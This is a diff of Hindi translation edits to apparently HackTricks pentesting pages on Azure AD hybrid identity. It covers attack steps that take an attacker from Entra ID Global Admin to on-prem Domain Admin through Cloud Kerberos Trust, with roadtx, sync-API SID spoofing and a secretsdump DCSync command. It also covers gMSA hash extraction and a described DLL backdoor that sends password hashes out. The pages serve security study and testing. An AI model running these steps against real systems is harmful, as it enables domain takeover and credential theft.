संगठन ने पासवर्ड रहित प्रमाणीकरण के लिए **Cloud Kerberos Trust** सक्षम किया है। एक हमलावर ने Entra ID (Azure AD) में **Global Administrator** विशेषाधिकार प्राप्त कर लिए हैं लेकिन अभी तक ऑन-प्रेम AD को नियंत्रित नहीं किया है। हमलावर के पास एक डोमेन नियंत्रक (VPN या हाइब्रिड नेटवर्क में Azure VM के माध्यम से) तक नेटवर्क पहुंच है। क्लाउड ट्रस्ट का उपयोग करते हुए, हमलावर Azure AD नियंत्रण का लाभ उठाकर AD में **Domain Admin**-स्तरीय स्थिति प्राप्त कर सकता है। +**परिदृश्य:** लक्षित संगठन ने पासवर्ड रहित प्रमाणीकरण के लिए **Cloud Kerberos Trust** सक्षम किया है। एक हमलावर ने Entra ID (Azure AD) में **Global Administrator** विशेषाधिकार प्राप्त कर लिए हैं लेकिन अभी तक ऑन-प्रेम AD को नियंत्रित नहीं किया है। हमलावर के पास एक डोमेन नियंत्रक (VPN या हाइब्रिड नेटवर्क में Azure VM के माध्यम से) तक नेटवर्क पहुंच के साथ एक पैर जमाने का स्थान भी है। क्लाउड ट्रस्ट का उपयोग करते हुए, हमलावर Azure AD नियंत्रण का लाभ उठाकर AD में **Domain Admin**-स्तरीय पैर जमाने की स्थिति प्राप्त कर सकता है। **पूर्वापेक्षाएँ:** @@ -24,43 +24,43 @@ **हमला चरण:** -1. **Azure AD सिंक API एक्सेस प्राप्त करें:** Global Admin खाते का उपयोग करते हुए, Azure AD **Provisioning (sync) API** के लिए एक एक्सेस टोकन प्राप्त करें। इसे **ROADtools** या **AADInternals** जैसे उपकरणों के साथ किया जा सकता है। उदाहरण के लिए, ROADtools (roadtx) के साथ: +1. **Azure AD सिंक API एक्सेस प्राप्त करें:** Global Admin खाते का उपयोग करते हुए, Azure AD **Provisioning (sync) API** के लिए एक एक्सेस टोकन प्राप्त करें। यह **ROADtools** या **AADInternals** जैसे उपकरणों के साथ किया जा सकता है। उदाहरण के लिए, ROADtools (roadtx) के साथ: ```bash # Using roadtx to get an Azure AD Graph token (no MFA) roadtx gettokens -u -p --resource aadgraph ``` *(वैकल्पिक रूप से, AADInternals' `Connect-AADInt` का उपयोग Global Admin के रूप में प्रमाणित करने के लिए किया जा सकता है।)* -2. **हाइब्रिड उपयोगकर्ता के ऑन-प्रेम गुणों में संशोधन करें:** Azure AD **सिंक्रनाइज़ेशन API** का उपयोग करके एक चुने हुए हाइब्रिड उपयोगकर्ता के **onPremises Security Identifier (SID)** और **onPremises SAMAccountName** को लक्षित AD खाते से मेल खाने के लिए सेट करें। यह प्रभावी रूप से Azure AD को बताता है कि क्लाउड उपयोगकर्ता उस ऑन-प्रेम खाते से मेल खाता है जिसे हम अनुकरण करना चाहते हैं। ओपन-सोर्स **ROADtools Hybrid** टूलकिट का उपयोग करते हुए: +2. **हाइब्रिड उपयोगकर्ता के ऑन-प्रेम विशेषताओं को संशोधित करें:** Azure AD **सिंक्रनाइज़ेशन API** का उपयोग करके एक चुने हुए हाइब्रिड उपयोगकर्ता के **onPremises Security Identifier (SID)** और **onPremises SAMAccountName** को लक्षित AD खाते से मेल खाने के लिए सेट करें। यह प्रभावी रूप से Azure AD को बताता है कि क्लाउड उपयोगकर्ता उस ऑन-प्रेम खाते से मेल खाता है जिसे हम अनुकरण करना चाहते हैं। ओपन-सोर्स **ROADtools Hybrid** टूलकिट का उपयोग करते हुए: ```bash # Example: modify a hybrid user to impersonate the MSOL account python3 modifyuser.py -u -p \ --sourceanchor \ --sid --sam ``` -> उपयोगकर्ता का `sourceAnchor` (अपरिवर्तनीय ID) Azure AD ऑब्जेक्ट की पहचान के लिए आवश्यक है जिसे संशोधित करना है। उपकरण हाइब्रिड उपयोगकर्ता के ऑन-प्रेम SID और SAM खाता नाम को लक्षित के मानों (जैसे, MSOL_xxxx खाता का SID और SAM) पर सेट करता है। Azure AD सामान्यतः ग्राफ़ के माध्यम से इन विशेषताओं को बदलने की अनुमति नहीं देता (ये केवल पढ़ने के लिए हैं), लेकिन सिंक सेवा API इसकी अनुमति देती है और वैश्विक प्रशासक इस सिंक कार्यक्षमता को सक्रिय कर सकते हैं। +> उपयोगकर्ता का `sourceAnchor` (अपरिवर्तनीय ID) Azure AD ऑब्जेक्ट की पहचान के लिए आवश्यक है जिसे संशोधित करना है। उपकरण हाइब्रिड उपयोगकर्ता का ऑन-प्रेम SID और SAM खाता नाम लक्षित के मानों (जैसे, MSOL_xxxx खाते का SID और SAM) पर सेट करता है। Azure AD सामान्यतः ग्राफ़ के माध्यम से इन विशेषताओं को बदलने की अनुमति नहीं देता (ये केवल पढ़ने के लिए हैं), लेकिन सिंक सेवा API इसकी अनुमति देती है और ग्लोबल एडमिन इस सिंक कार्यक्षमता को सक्रिय कर सकते हैं। -3. **Azure AD से आंशिक TGT प्राप्त करें:** संशोधन के बाद, हाइब्रिड उपयोगकर्ता के रूप में Azure AD में प्रमाणीकरण करें (उदाहरण के लिए, किसी डिवाइस पर PRT प्राप्त करके या उनके क्रेडेंशियल्स का उपयोग करके)। जब उपयोगकर्ता साइन इन करता है (विशेष रूप से एक डोमेन-जोड़े या Entra जुड़े Windows डिवाइस पर), Azure AD उस खाते के लिए **आंशिक Kerberos TGT (TGT****AD**) जारी करेगा क्योंकि Cloud Kerberos Trust सक्षम है। यह आंशिक TGT AzureADKerberos$ RODC कुंजी के साथ एन्क्रिप्ट किया गया है और इसमें **लक्षित SID** शामिल है जिसे हमने सेट किया है। हम ROADtools के माध्यम से उपयोगकर्ता के लिए PRT का अनुरोध करके इसका अनुकरण कर सकते हैं: +3. **Azure AD से आंशिक TGT प्राप्त करें:** संशोधन के बाद, हाइब्रिड उपयोगकर्ता के रूप में Azure AD में प्रमाणीकरण करें (उदाहरण के लिए, किसी डिवाइस पर PRT प्राप्त करके या उनके क्रेडेंशियल का उपयोग करके)। जब उपयोगकर्ता साइन इन करता है (विशेष रूप से एक डोमेन-जोड़े या Entra जुड़े Windows डिवाइस पर), Azure AD उस खाते के लिए **आंशिक Kerberos TGT (TGT****AD**) जारी करेगा क्योंकि Cloud Kerberos Trust सक्षम है। यह आंशिक TGT AzureADKerberos$ RODC कुंजी के साथ एन्क्रिप्ट किया गया है और इसमें **लक्षित SID** शामिल है जिसे हमने सेट किया है। हम ROADtools के माध्यम से उपयोगकर्ता के लिए PRT का अनुरोध करके इसका अनुकरण कर सकते हैं: ```bash roadtx getprt -u -p -d ``` -यह एक `.prt` फ़ाइल उत्पन्न करता है जिसमें आंशिक TGT और सत्र कुंजी होती है। यदि खाता केवल क्लाउड पासवर्ड था, तो Azure AD अभी भी PRT प्रतिक्रिया में एक TGT_AD शामिल करता है। +यह एक `.prt` फ़ाइल आउटपुट करता है जिसमें आंशिक TGT और सत्र कुंजी होती है। यदि खाता केवल क्लाउड पासवर्ड था, तो Azure AD अभी भी PRT प्रतिक्रिया में एक TGT_AD शामिल करता है। -4. **Exchange Partial TGT for Full TGT (on AD):** आंशिक TGT को अब ऑन-प्रेम डोमेन कंट्रोलर को प्रस्तुत किया जा सकता है ताकि लक्षित खाते के लिए एक **पूर्ण TGT** प्राप्त किया जा सके। हम इसे `krbtgt` सेवा (डोमेन की प्राथमिक TGT सेवा) के लिए TGS अनुरोध करके करते हैं -- मूल रूप से टिकट को एक सामान्य TGT में पूर्ण PAC के साथ अपग्रेड करना। इस विनिमय को स्वचालित करने के लिए उपकरण उपलब्ध हैं। उदाहरण के लिए, ROADtools Hybrid के स्क्रिप्ट का उपयोग करते हुए: +4. **Exchange Partial TGT for Full TGT (on AD):** आंशिक TGT को अब ऑन-प्रेम डोमेन कंट्रोलर को प्रस्तुत किया जा सकता है ताकि लक्षित खाते के लिए **पूर्ण TGT** प्राप्त किया जा सके। हम इसे `krbtgt` सेवा (डोमेन की प्राथमिक TGT सेवा) के लिए TGS अनुरोध करके करते हैं -- मूल रूप से टिकट को पूर्ण PAC के साथ सामान्य TGT में अपग्रेड करना। इस विनिमय को स्वचालित करने के लिए उपकरण उपलब्ध हैं। उदाहरण के लिए, ROADtools Hybrid के स्क्रिप्ट का उपयोग करते हुए: ```bash # Use the partial TGT from the PRT file to get a full TGT and NTLM hash python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash ``` यह स्क्रिप्ट (या Impacket समकक्ष) डोमेन कंट्रोलर से संपर्क करेगी और लक्षित AD खाते के लिए एक मान्य TGT प्राप्त करेगी, जिसमें विशेष Kerberos एक्सटेंशन का उपयोग करने पर खाते का NTLM हैश शामिल है। **`KERB-KEY-LIST-REQ`** एक्सटेंशन स्वचालित रूप से शामिल किया गया है ताकि DC से लक्षित खाते का NTLM हैश एन्क्रिप्टेड उत्तर में लौटाने के लिए कहा जा सके। परिणाम एक क्रेडेंशियल कैश (`full_tgt.ccache`) है लक्षित खाते के लिए *या* पुनर्प्राप्त NTLM पासवर्ड हैश। -5. **लक्षित व्यक्ति का अनुकरण करें और डोमेन एडमिन में वृद्धि करें:** अब हमलावर प्रभावी रूप से **लक्षित AD खाते को नियंत्रित करता है**। उदाहरण के लिए, यदि लक्षित AD कनेक्ट **MSOL खाता** था, तो इसके पास निर्देशिका पर पुनरुत्पादन अधिकार हैं। हमलावर उस खाते के क्रेडेंशियल या Kerberos TGT का उपयोग करके AD से पासवर्ड हैश को डंप करने के लिए **DCSync** हमले को अंजाम दे सकता है (जिसमें डोमेन KRBTGT खाता शामिल है)। उदाहरण के लिए: +5. **लक्षित व्यक्ति का अनुकरण करें और डोमेन एडमिन में वृद्धि करें:** अब हमलावर प्रभावी रूप से **लक्षित AD खाते को नियंत्रित करता है**। उदाहरण के लिए, यदि लक्षित AD कनेक्ट **MSOL खाता** था, तो इसके पास निर्देशिका पर पुनरुत्पादन अधिकार हैं। हमलावर उस खाते की क्रेडेंशियल्स या Kerberos TGT का उपयोग करके AD से पासवर्ड हैश को डंप करने के लिए **DCSync** हमले को अंजाम दे सकता है (जिसमें डोमेन KRBTGT खाता शामिल है)। उदाहरण के लिए: ```bash # Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash) secretsdump.py 'AD_DOMAIN/$@' -hashes : LOCAL ``` यह सभी AD उपयोगकर्ता पासवर्ड हैश को डंप करता है, हमलावर को KRBTGT हैश देता है (जिससे वे इच्छानुसार डोमेन Kerberos टिकट बना सकते हैं) और प्रभावी रूप से **डोमेन एडमिन** विशेषाधिकार प्रदान करता है। यदि लक्षित खाता कोई अन्य विशेषाधिकार प्राप्त उपयोगकर्ता होता, तो हमलावर उस उपयोगकर्ता के रूप में किसी भी डोमेन संसाधन तक पहुँचने के लिए पूर्ण TGT का उपयोग कर सकता था। -6. **सफाई:** वैकल्पिक रूप से, हमलावर उसी API के माध्यम से संशोधित Azure AD उपयोगकर्ता के मूल `onPremisesSAMAccountName` और SID को पुनर्स्थापित कर सकता है या बस किसी भी अस्थायी उपयोगकर्ता को हटा सकता है। कई मामलों में, अगला Azure AD कनेक्ट सिंक चक्र स्वचालित रूप से समन्वयित विशेषताओं पर अनधिकृत परिवर्तनों को पूर्ववत कर देगा। (हालांकि, इस बिंदु तक नुकसान हो चुका है -- हमलावर के पास DA विशेषाधिकार हैं।) +6. **सफाई:** वैकल्पिक रूप से, हमलावर उसी API के माध्यम से संशोधित Azure AD उपयोगकर्ता का मूल `onPremisesSAMAccountName` और SID पुनर्स्थापित कर सकता है या बस किसी भी अस्थायी उपयोगकर्ता को हटा सकता है। कई मामलों में, अगला Azure AD कनेक्ट सिंक चक्र स्वचालित रूप से समन्वयित विशेषताओं पर अनधिकृत परिवर्तनों को पूर्ववत कर देगा। (हालांकि, इस बिंदु तक नुकसान हो चुका है -- हमलावर के पास DA विशेषाधिकार हैं।) > [!WARNING] > क्लाउड ट्रस्ट और सिंक तंत्र का दुरुपयोग करके, Azure AD का एक ग्लोबल एडमिन लगभग *किसी भी* AD खाते का अनुकरण कर सकता है जिसे RODC नीति द्वारा स्पष्ट रूप से सुरक्षित नहीं किया गया है, भले ही उस खाते को कभी क्लाउड-सिंक नहीं किया गया हो। एक डिफ़ॉल्ट कॉन्फ़िगरेशन में, यह **Azure AD समझौते से ऑन-प्रेम AD समझौते तक एक पूर्ण विश्वास को जोड़ता है**। diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md similarity index 74% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index 27ca96556..1162157df 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -6,7 +6,7 @@ **Cloud Sync** मूल रूप से Azure का नया तरीका है **AD से Entra ID में उपयोगकर्ताओं को समन्वयित करने के लिए**। -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync Microsoft द्वारा एक नई पेशकश है जो उपयोगकर्ताओं, समूहों और संपर्कों को Microsoft Entra ID में समन्वयित करने के लिए आपके हाइब्रिड पहचान लक्ष्यों को पूरा करने और हासिल करने के लिए डिज़ाइन की गई है। यह Microsoft Entra Connect एप्लिकेशन के बजाय Microsoft Entra क्लाउड प्रोविजनिंग एजेंट का उपयोग करके इसे पूरा करता है। हालाँकि, इसे Microsoft Entra Connect Sync के साथ भी उपयोग किया जा सकता है। +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync Microsoft द्वारा एक नई पेशकश है जो उपयोगकर्ताओं, समूहों और संपर्कों को Microsoft Entra ID में समन्वयित करने के लिए आपके हाइब्रिड पहचान लक्ष्यों को पूरा करने और प्राप्त करने के लिए डिज़ाइन की गई है। यह Microsoft Entra Connect एप्लिकेशन के बजाय Microsoft Entra क्लाउड प्रोविजनिंग एजेंट का उपयोग करके इसे पूरा करता है। हालाँकि, इसे Microsoft Entra Connect Sync के साथ भी उपयोग किया जा सकता है। ### Principals Generated @@ -15,14 +15,14 @@ - Entra ID में उपयोगकर्ता `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) को **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) भूमिका के साथ बनाया जाता है। > [!WARNING] -> इस भूमिका के पास पहले बहुत सारे विशेषाधिकार थे और इसका उपयोग [**विशेषाधिकारों को वैश्विक व्यवस्थापक तक बढ़ाने के लिए किया जा सकता था**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)। हालाँकि, Microsoft ने इस भूमिका के सभी विशेषाधिकारों को हटाने और इसे केवल एक नए **`microsoft.directory/onPremisesSynchronization/standard/read`** के साथ असाइन करने का निर्णय लिया है, जो वास्तव में किसी भी विशेषाधिकार कार्रवाई (जैसे उपयोगकर्ता का पासवर्ड या विशेषताओं को संशोधित करना या SP में एक नई क्रेडेंशियल जोड़ना) करने की अनुमति नहीं देता है। +> इस भूमिका में बहुत सारे विशेषाधिकार थे और इसका उपयोग [**विशेषाधिकारों को वैश्विक व्यवस्थापक तक बढ़ाने के लिए किया जा सकता था**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)। हालाँकि, Microsoft ने इस भूमिका के सभी विशेषाधिकारों को हटाने और इसे केवल एक नए **`microsoft.directory/onPremisesSynchronization/standard/read`** के साथ असाइन करने का निर्णय लिया है जो वास्तव में किसी भी विशेषाधिकार कार्रवाई (जैसे उपयोगकर्ता का पासवर्ड या विशेषताओं को संशोधित करना या SP में एक नई क्रेडेंशियल जोड़ना) की अनुमति नहीं देता है। - Entra ID में समूह **`AAD DC Administrators`** भी बिना सदस्यों या मालिकों के बनाया जाता है। यह समूह उपयोगी है यदि [`Microsoft Entra Domain Services`](./az-domain-services.md) का उपयोग किया जाता है। -- AD में, या तो सेवा खाता **`provAgentgMSA`** को **`pGMSA_$@domain.com`** जैसे SamAcountName के साथ बनाया जाता है (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), या एक कस्टम खाता [**इन अनुमतियों की आवश्यकता है**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)। आमतौर पर डिफ़ॉल्ट खाता बनाया जाता है। +- AD में, या तो सेवा खाता **`provAgentgMSA`** को **`pGMSA_$@domain.com`** जैसे SamAcountName के साथ बनाया जाता है (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), या एक कस्टम खाता [**इन विशेषाधिकारों की आवश्यकता है**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)। आमतौर पर डिफ़ॉल्ट खाता बनाया जाता है। > [!WARNING] -> अन्य अनुमतियों के बीच सेवा खाता **`provAgentgMSA`** के पास DCSync अनुमतियाँ हैं, जो **किसी भी व्यक्ति को जो इसे समझौता करता है, पूरे डायरेक्टरी को समझौता करने की अनुमति देती हैं**। [DCSync के बारे में अधिक जानकारी के लिए इसे देखें](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)। +> अन्य विशेषाधिकारों के बीच सेवा खाता **`provAgentgMSA`** के पास DCSync विशेषाधिकार हैं, जो **किसी भी व्यक्ति को जो इसे समझौता करता है, पूरे डायरेक्टरी को समझौता करने की अनुमति देता है**। [DCSync के बारे में अधिक जानकारी के लिए इसे देखें](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)। > [!NOTE] > डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों के उपयोगकर्ता जैसे डोमेन व्यवस्थापक जिनका विशेषता **`adminCount` 1 है, Entra ID के साथ समन्वयित नहीं होते** सुरक्षा कारणों से। हालाँकि, अन्य उपयोगकर्ता जो इस विशेषता के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं **समन्वयित किए जा सकते हैं**। @@ -36,7 +36,7 @@ az-connect-sync.md {{#endref}} - **पासवर्ड हैश समन्वयन** सक्षम किया जा सकता है ताकि उपयोगकर्ता **AD से अपने पासवर्ड का उपयोग करके Entra ID में लॉगिन कर सकें**। इसके अलावा, जब भी AD में पासवर्ड संशोधित किया जाता है, यह Entra ID में अपडेट हो जाएगा। -- **पासवर्ड राइटबैक** को भी सक्षम किया जा सकता है, जिससे उपयोगकर्ता अपने पासवर्ड को Entra ID में संशोधित कर सकते हैं, जो स्वचालित रूप से उनके पासवर्ड को ऑन-प्रिमाइस डोमेन में समन्वयित करता है। लेकिन [वर्तमान दस्तावेज़ों](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) के अनुसार, इसके लिए Connect Agent का उपयोग करना आवश्यक है, इसलिए अधिक जानकारी के लिए [Az Connect Sync अनुभाग](./az-connect-sync.md) पर नज़र डालें। +- **पासवर्ड राइटबैक** को भी सक्षम किया जा सकता है, जिससे उपयोगकर्ता अपने पासवर्ड को Entra ID में संशोधित कर सकते हैं, स्वचालित रूप से अपने पासवर्ड को ऑन-प्रिमाइस डोमेन में समन्वयित कर सकते हैं। लेकिन [वर्तमान दस्तावेज़ों](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) के अनुसार, इसके लिए Connect Agent का उपयोग करना आवश्यक है, इसलिए अधिक जानकारी के लिए [Az Connect Sync अनुभाग](./az-connect-sync.md) पर नज़र डालें। - **समूह राइटबैक**: यह सुविधा Entra ID से समूह सदस्यताओं को ऑन-प्रिमाइस AD में वापस समन्वयित करने की अनुमति देती है। इसका मतलब है कि यदि किसी उपयोगकर्ता को Entra ID में एक समूह में जोड़ा जाता है, तो उन्हें AD में संबंधित समूह में भी जोड़ा जाएगा। ## Pivoting @@ -72,7 +72,7 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-Man $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword ``` -अब आप gMSA के हैश का उपयोग करके `provAgentgMSA` खाते के खिलाफ Entra ID पर Pass-the-Hash हमले को अंजाम दे सकते हैं और DCSync हमलों को करने के लिए स्थिरता बनाए रख सकते हैं। +अब आप gMSA के हैश का उपयोग करके `provAgentgMSA` खाते के खिलाफ Entra ID के खिलाफ Pass-the-Hash हमले को अंजाम दे सकते हैं और DCSync हमलों को करने के लिए स्थिरता बनाए रख सकते हैं। Active Directory को समझौता करने के तरीके के बारे में अधिक जानकारी के लिए देखें: @@ -87,7 +87,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i ../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -स्थिरता के संबंध में [यह ब्लॉग पोस्ट](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) सुझाव देती है कि [**dnSpy**](https://github.com/dnSpy/dnSpy) का उपयोग करके **`Microsoft.Online.Passwordsynchronisation.dll`** में बैकडोर डालना संभव है जो **`C:\Program Files\Microsoft Azure AD Sync\Bin`** में स्थित है और जिसका उपयोग Cloud Sync एजेंट द्वारा पासवर्ड सिंक्रनाइज़ेशन करने के लिए किया जाता है, जिससे यह उपयोगकर्ताओं के पासवर्ड हैश को एक दूरस्थ सर्वर पर एक्सफिल्ट्रेट करता है। हैश **`PasswordHashGenerator`** क्लास के अंदर उत्पन्न होते हैं और ब्लॉग पोस्ट सुझाव देता है कि कुछ कोड जोड़ा जाए ताकि क्लास इस तरह दिखे (ध्यान दें `use System.Net` और पासवर्ड हैश को एक्सफिल्ट्रेट करने के लिए `WebClient` का उपयोग): +स्थिरता के संबंध में [यह ब्लॉग पोस्ट](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) सुझाव देती है कि [**dnSpy**](https://github.com/dnSpy/dnSpy) का उपयोग करके **`Microsoft.Online.Passwordsynchronisation.dll`** को बैकडोर करना संभव है जो **`C:\Program Files\Microsoft Azure AD Sync\Bin`** में स्थित है और जिसका उपयोग Cloud Sync एजेंट द्वारा पासवर्ड समन्वयन करने के लिए किया जाता है, जिससे यह उपयोगकर्ताओं के पासवर्ड हैश को एक दूरस्थ सर्वर पर एक्सफिल्ट्रेट करता है। हैश **`PasswordHashGenerator`** वर्ग के अंदर उत्पन्न होते हैं और ब्लॉग पोस्ट सुझाव देता है कि कुछ कोड जोड़ा जाए ताकि वर्ग इस तरह दिखे (ध्यान दें `use System.Net` और पासवर्ड हैश को एक्सफिल्ट्रेट करने के लिए `WebClient` का उपयोग): ```csharp using System; using System.Net; @@ -132,7 +132,7 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C - इस समय Cloud Sync भी **"Microsoft Entra ID to AD"** की अनुमति देता है, लेकिन बहुत समय बाद मैंने पाया कि यह EntraID उपयोगकर्ताओं को AD में समन्वयित नहीं कर सकता और यह केवल उन EntraID उपयोगकर्ताओं को समन्वयित कर सकता है जो पासवर्ड हैश के साथ समन्वयित किए गए थे और उसी डोमेन वन के डोमेन से आते हैं जिसमें हम समन्वयित कर रहे हैं, जैसा कि आप पढ़ सकते हैं [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): > - ये समूह केवल ऑन-प्रिमाइसेस समन्वयित उपयोगकर्ताओं और / या अतिरिक्त क्लाउड द्वारा बनाए गए सुरक्षा समूहों को शामिल कर सकते हैं। -> - ऑन-प्रिमाइसेस उपयोगकर्ता खाते जो समन्वयित हैं और इस क्लाउड द्वारा बनाए गए सुरक्षा समूह के सदस्य हैं, वे उसी डोमेन या क्रॉस-डोमेन से हो सकते हैं, लेकिन सभी को एक ही वन से होना चाहिए। +> - ऑन-प्रिमाइसेस उपयोगकर्ता खाते जो समन्वयित हैं और इस क्लाउड द्वारा बनाए गए सुरक्षा समूह के सदस्य हैं, वे उसी डोमेन या क्रॉस-डोमेन से हो सकते हैं, लेकिन वे सभी एक ही वन से होने चाहिए। इसलिए इस सेवा की हमले की सतह (और उपयोगिता) काफी कम हो जाती है क्योंकि एक हमलावर को उन उपयोगकर्ताओं को समन्वयित करने के लिए प्रारंभिक AD से समझौता करना होगा ताकि दूसरे डोमेन में एक उपयोगकर्ता से समझौता किया जा सके (और दोनों को स्पष्ट रूप से एक ही वन में होना चाहिए)। diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md similarity index 81% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md index 77d80cd0c..35909befb 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md @@ -19,7 +19,7 @@ az-cloud-sync.md ### Principals Generated - खाता **`MSOL_`** स्वचालित रूप से ऑन-प्रिम AD में बनाया जाता है। इस खाते को **Directory Synchronization Accounts** भूमिका दी जाती है (देखें [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) जिसका अर्थ है कि इसके पास **ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ** हैं। -- इसका मतलब है कि जो कोई भी इस खाते से समझौता करता है वह ऑन-प्रिमिस डोमेन से समझौता कर सकेगा। +- इसका मतलब है कि जो कोई भी इस खाते से समझौता करता है, वह ऑन-प्रिमिस डोमेन से समझौता कर सकेगा। - एक प्रबंधित सेवा खाता **`ADSyncMSA`** बिना किसी विशेष डिफ़ॉल्ट विशेषाधिकार के ऑन-प्रिम AD में बनाया जाता है। - Entra ID में सेवा प्रिंसिपल **`ConnectSyncProvisioning_ConnectSync_`** एक प्रमाणपत्र के साथ बनाया जाता है। @@ -27,7 +27,7 @@ az-cloud-sync.md ### Password Hash Synchronization -यह घटक **AD से Entra ID में पासवर्ड को समन्वयित करने के लिए** भी उपयोग किया जा सकता है ताकि उपयोगकर्ता अपने AD पासवर्ड का उपयोग Entra ID से कनेक्ट करने के लिए कर सकें। इसके लिए, AD सर्वर में स्थापित Microsoft Entra Connect Sync एजेंट में पासवर्ड हैश समन्वयन की अनुमति देना आवश्यक है। +यह घटक **AD से Entra ID में पासवर्ड को समन्वयित करने के लिए** भी उपयोग किया जा सकता है ताकि उपयोगकर्ता अपने AD पासवर्ड का उपयोग Entra ID से कनेक्ट करने के लिए कर सकें। इसके लिए, AD सर्वर में स्थापित Microsoft Entra Connect Sync एजेंट में पासवर्ड हैश समन्वय की अनुमति देना आवश्यक है। [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** हाइब्रिड पहचान को पूरा करने के लिए उपयोग किए जाने वाले साइन-इन तरीकों में से एक है। **Azure AD Connect** एक ऑन-प्रिमिस Active Directory उदाहरण से एक क्लाउड-आधारित Azure AD उदाहरण में उपयोगकर्ता के पासवर्ड का हैश, हैश का हैश समन्वयित करता है। @@ -38,21 +38,21 @@ az-cloud-sync.md जब एक ऑन-प्रिम उपयोगकर्ता Azure संसाधन तक पहुँच प्राप्त करना चाहता है, तो **प्रमाणीकरण Azure AD पर होता है**। > [!NOTE] -> डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों के उपयोगकर्ता जैसे डोमेन प्रशासक जिनका विशेषता **`adminCount` 1 है, Entra ID के साथ समन्वयित नहीं होते** सुरक्षा कारणों से। हालाँकि, अन्य उपयोगकर्ता जो इस विशेषता के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं, **समन्वयित किए जा सकते हैं**। +> डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों के उपयोगकर्ता जैसे डोमेन प्रशासक जिनका गुण **`adminCount` 1 है,** सुरक्षा कारणों से Entra ID के साथ समन्वयित नहीं होते हैं। हालाँकि, अन्य उपयोगकर्ता जो इस गुण के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं, **समन्वयित किए जा सकते हैं**। ### Password Writeback -यह कॉन्फ़िगरेशन **Entra ID से AD में पासवर्ड को समन्वयित करने** की अनुमति देता है जब एक उपयोगकर्ता Entra ID में अपना पासवर्ड बदलता है। ध्यान दें कि पासवर्ड राइटबैक कार्य करने के लिए AD में स्वचालित रूप से उत्पन्न `MSOL_` उपयोगकर्ता को [दस्तावेज़ में निर्दिष्ट अधिक विशेषाधिकार दिए जाने की आवश्यकता है](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) ताकि वह **AD में किसी भी उपयोगकर्ता के पासवर्ड को संशोधित कर सके**। +यह कॉन्फ़िगरेशन **Entra ID से AD में पासवर्ड को 